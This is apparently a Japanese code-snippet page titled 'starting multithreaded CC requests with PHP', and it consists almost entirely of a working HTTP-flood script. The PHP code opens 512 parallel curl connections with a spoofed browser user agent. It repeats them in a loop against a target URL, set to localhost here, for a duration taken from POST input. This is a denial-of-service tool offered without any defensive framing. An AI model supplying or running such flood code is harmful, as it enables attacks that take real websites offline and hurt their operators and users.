phpを使用してマルチスレッドccリクエストを開始

892 ワード

<?php
set_time_limit(0);
ignore_user_abort(FALSE);

$exec_time = $_POST['time'];

$t='http://localhost/index.asp';

$urls=array_fill(0,512,$t);

$time = time();
$max_time = $time+$exec_time;

while (1)
{
if(time() > $max_time)
	 {
      break;
     }
$mh = curl_multi_init();    
foreach ($urls as $i => $url) {   
  $conn[$i] = curl_init($url);   
  curl_setopt($conn[$i], CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)");   
  curl_setopt($conn[$i], CURLOPT_HEADER ,0);   
  curl_setopt($conn[$i], CURLOPT_CONNECTTIMEOUT,5);  
  curl_multi_add_handle ($mh,$conn[$i]);   
} //       
do {   
  curl_multi_exec($mh,$active);   
} while ($active);  

foreach ($urls as $i => $url) {   
  curl_multi_remove_handle($mh,$conn[$i]);   
  curl_close($conn[$i]);   
} 
curl_multi_close($mh);   
}

?>